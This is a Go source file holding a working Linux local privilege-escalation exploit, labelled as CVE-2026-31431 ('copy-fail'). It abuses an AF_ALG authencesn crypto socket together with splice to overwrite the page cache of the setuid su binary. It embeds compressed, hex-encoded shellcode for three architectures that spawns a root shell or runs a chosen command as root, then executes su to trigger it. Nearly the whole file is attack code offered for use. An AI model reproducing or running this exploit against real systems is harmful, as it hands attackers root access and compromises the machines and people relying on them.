//go:build linux
// +build linux

package main

import (
	"bytes"
	"compress/zlib"
	"encoding/hex"
	"flag"
	"fmt"
	"io"
	"log"
	"os"
	"os/exec"
	"runtime"
	"strings"
	"time"
	"unsafe"

	"golang.org/x/sys/unix"
)

const (
	// Cryptographic API Socket Constants
	SOL_ALG               = 279
	ALG_SET_KEY           = 1
	ALG_SET_IV            = 2
	ALG_SET_OP            = 3
	ALG_SET_AEAD_ASSOCLEN = 4
	ALG_SET_AEAD_AUTHSIZE = 5
)

// See payloads/exec-bin-sh-* for the shellcode
var payloadsZlibHex = map[string]string{
	"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3",
	"386":   "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858",
	"arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578",
}

// See payloads/exec-argv1-* for the shellcode
var execArgv1ZlibHex = map[string]string{
	"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf",
	"386":   "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180",
	"arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509",
}

// packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload
func packCmsg(level, typ int, data []byte) []byte {
	cmsgSpace := unix.CmsgSpace(len(data))
	b := make([]byte, cmsgSpace)
	h := (*unix.Cmsghdr)(unsafe.Pointer(&b[0]))
	h.Level = int32(level)
	h.Type = int32(typ)
	h.SetLen(unix.CmsgLen(len(data)))
	copy(b[unix.CmsgLen(0):], data)
	return b
}

// c is the core vulnerability trigger function, replacing 4 bytes of the target file's page cache
func c(f *os.File, t int, cData []byte) {
	// 1. Create AF_ALG cryptographic socket
	fd, err := unix.Socket(unix.AF_ALG, unix.SOCK_SEQPACKET, 0)
	if err != nil {
		log.Fatalf("Socket creation failed: %v", err)
	}
	defer unix.Close(fd)

	// 2. Bind it to the vulnerable Authenticated Encryption wrapper
	sa := &unix.SockaddrALG{
		Type: "aead",
		Name: "authencesn(hmac(sha256),cbc(aes))",
	}
	if err := unix.Bind(fd, sa); err != nil {
		log.Fatalf("Socket Bind failed: %v", err)
	}

	// 3. Setup dummy key and auth sizes
	keyHex := "0800010000000010" + strings.Repeat("0", 64)
	keyBytes, _ := hex.DecodeString(keyHex)

	if err := unix.SetsockoptString(fd, SOL_ALG, ALG_SET_KEY, string(keyBytes)); err != nil {
		log.Fatalf("Setsockopt(key) failed: %v", err)
	}
	if err := unix.SetsockoptInt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4); err != nil {
		log.Fatalf("Setsockopt(authsize) failed: %v", err)
	}

	// 4. Accept a new operational socket connection.
	// AF_ALG requires accept(2) with NULL addr/addrlen; unix.Accept passes
	// non-NULL pointers and the kernel returns ECONNABORTED. See SockaddrALG
	// docs in golang.org/x/sys/unix.
	uFdRaw, _, errno := unix.Syscall6(unix.SYS_ACCEPT4, uintptr(fd), 0, 0, 0, 0, 0)
	if errno != 0 {
		log.Fatalf("Accept failed: %v", errno)
	}
	uFd := int(uFdRaw)
	defer unix.Close(uFd)

	// 5. Build Control Messages (CMSG)
	var oob []byte
	oob = append(oob, packCmsg(SOL_ALG, ALG_SET_OP, []byte{0, 0, 0, 0})...)                        // ALG_SET_OP (Decrypt)
	oob = append(oob, packCmsg(SOL_ALG, ALG_SET_IV, append([]byte{0x10}, make([]byte, 19)...))...) // ALG_SET_IV (20 bytes)
	oob = append(oob, packCmsg(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, []byte{8, 0, 0, 0})...)             // ALG_SET_AEAD_ASSOCLEN

	// 6. Send payload payload out-of-band configuring encryption state
	msgData := append([]byte("AAAA"), cData...)
	err = unix.Sendmsg(uFd, msgData, oob, nil, unix.MSG_MORE)
	if err != nil {
		log.Fatalf("Sendmsg failed: %v", err)
	}

	// 7. Setup standard pipes for the splice
	var p [2]int
	if err := unix.Pipe(p[:]); err != nil {
		log.Fatalf("Pipe creation failed: %v", err)
	}
	defer unix.Close(p[0])
	defer unix.Close(p[1])

	// 8. Splice magic (Moves read-only page cache refs into the pipe -> then to the crypto socket)
	o := t + 4
	offset := int64(0)

	// Splice from the target file into the pipe
	_, err = unix.Splice(int(f.Fd()), &offset, p[1], nil, o, 0)
	if err != nil {
		log.Fatalf("Splice (File->Pipe) failed: %v", err)
	}

	// Splice from the pipe into the active crypto socket
	_, err = unix.Splice(p[0], nil, uFd, nil, o, 0)
	if err != nil {
		log.Fatalf("Splice (Pipe->Socket) failed: %v", err)
	}

	// 9. Consume response, triggering the memory-overwrite condition
	buf := make([]byte, 8+t)
	unix.Read(uFd, buf)
}

func decompressPayload(zlibBytes []byte) []byte {
	r, err := zlib.NewReader(bytes.NewReader(zlibBytes))
	if err != nil {
		log.Fatalf("Zlib decompression failed: %v", err)
	}
	payload, err := io.ReadAll(r)
	r.Close()
	if err != nil {
		log.Fatalf("Read zlib payload: %v", err)
	}
	return payload
}

// resolveSu returns the path to the su binary. It prefers /usr/bin/su when
// present; otherwise it walks PATH (via exec.LookPath, equivalent to which(1)).
func resolveSu() (string, error) {
	const fallback = "/usr/bin/su"
	if _, err := os.Stat(fallback); err == nil {
		return fallback, nil
	}
	p, err := exec.LookPath("su")
	if err != nil {
		return "", fmt.Errorf("su not found in PATH and not at %s: %w", fallback, err)
	}
	return p, nil
}

// backupSuBinary copies src to dst before page-cache corruption. Preserves
// permission bits including setuid/setgid/sticky and access/modification times.
func backupSuBinary(src, dst string) error {
	var meta unix.Stat_t
	if err := unix.Stat(src, &meta); err != nil {
		return fmt.Errorf("stat %s: %w", src, err)
	}
	// Cast these to int64 so we can compile for 32 bit architectures
	atime := time.Unix(int64(meta.Atim.Sec), int64(meta.Atim.Nsec))
	mtime := time.Unix(int64(meta.Mtim.Sec), int64(meta.Mtim.Nsec))

	in, err := os.Open(src)
	if err != nil {
		return fmt.Errorf("open %s: %w", src, err)
	}
	defer in.Close()

	fi, err := in.Stat()
	if err != nil {
		return fmt.Errorf("fstat %s: %w", src, err)
	}

	const modeMask = os.ModePerm | os.ModeSetuid | os.ModeSetgid | os.ModeSticky
	out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
	if err != nil {
		return fmt.Errorf("create %s: %w", dst, err)
	}
	defer out.Close()

	if _, err := io.Copy(out, in); err != nil {
		return fmt.Errorf("copy to %s: %w", dst, err)
	}
	if err := out.Sync(); err != nil {
		return fmt.Errorf("sync %s: %w", dst, err)
	}
	if err := os.Chmod(dst, fi.Mode()&modeMask); err != nil {
		return fmt.Errorf("chmod %s: %w", dst, err)
	}
	if err := os.Chtimes(dst, atime, mtime); err != nil {
		return fmt.Errorf("chtimes %s: %w", dst, err)
	}
	return nil
}

func main() {
	var suArgv1 string
	var useExecArgv1 bool
	var backupPath string
	flag.StringVar(&backupPath, "backup", "", "path to copy the su binary to before overwriting")
	flag.Func("exec", "command to run as root; full path required", func(s string) error {
		useExecArgv1 = true
		suArgv1 = s
		return nil
	})
	flag.Usage = func() {
		fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0])
		flag.PrintDefaults()
		fmt.Fprintln(os.Stderr)
		fmt.Fprintln(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).")
		fmt.Fprintln(os.Stderr, "Overwrites the page cache of su and runs su.")
		fmt.Fprintln(os.Stderr, "See https://copy.fail for for information.")
	}
	flag.Parse()

	var payloadHex string
	var ok bool
	if useExecArgv1 {
		payloadHex, ok = execArgv1ZlibHex[runtime.GOARCH]
		if !ok {
			log.Fatalf("Unsupported architecture for -exec: %s", runtime.GOARCH)
		}
	} else {
		// Pick payload for the running architecture
		payloadHex, ok = payloadsZlibHex[runtime.GOARCH]
		if !ok {
			log.Fatalf("Unsupported architecture: %s (need amd64 or arm64)", runtime.GOARCH)
		}
	}
	payloadZlib, err := hex.DecodeString(payloadHex)
	if err != nil {
		log.Fatalf("Invalid hex payload: %v", err)
	}
	payload := decompressPayload(payloadZlib)

	suPath, err := resolveSu()
	if err != nil {
		log.Fatalf("%v", err)
	}

	if backupPath != "" {
		if err := backupSuBinary(suPath, backupPath); err != nil {
			log.Fatalf("Backup failed: %v", err)
		}
		log.Printf("Backed up %s to %s", suPath, backupPath)
	}

	// Open target file in read-only mode
	f, err := os.Open(suPath)
	if err != nil {
		log.Fatalf("Failed to open target file: %v", err)
	}
	defer f.Close()

	// Iteratively overwrite the page cache of the file, 4 bytes at a time
	log.Printf("Overwriting page cache of %s with %d bytes", f.Name(), len(payload))
	for i := 0; i < len(payload); i += 4 {
		end := i + 4
		if end > len(payload) {
			end = len(payload)
		}
		c(f, i, payload[i:end])
		if len(payload) < 10000 {
			if i%100 == 0 {
				log.Printf("  ... wrote %d bytes", i+4)
			}
		} else {
			if i%10000 == 0 {
				log.Printf("  ... wrote %d bytes", i+4)
			}
		}
	}
	log.Printf("  ... wrote %d bytes", len(payload))

	// Execute the now-overwritten binary to trigger privilege escalation
	log.Println("Executing payload")
	var cmd *exec.Cmd
	if useExecArgv1 {
		cmd = exec.Command("su", suArgv1)
	} else {
		cmd = exec.Command("su")
	}
	cmd.Stdin = os.Stdin
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	if err := cmd.Run(); err != nil {
		log.Fatalf("Failed to execute payload: %v", err)
	}
}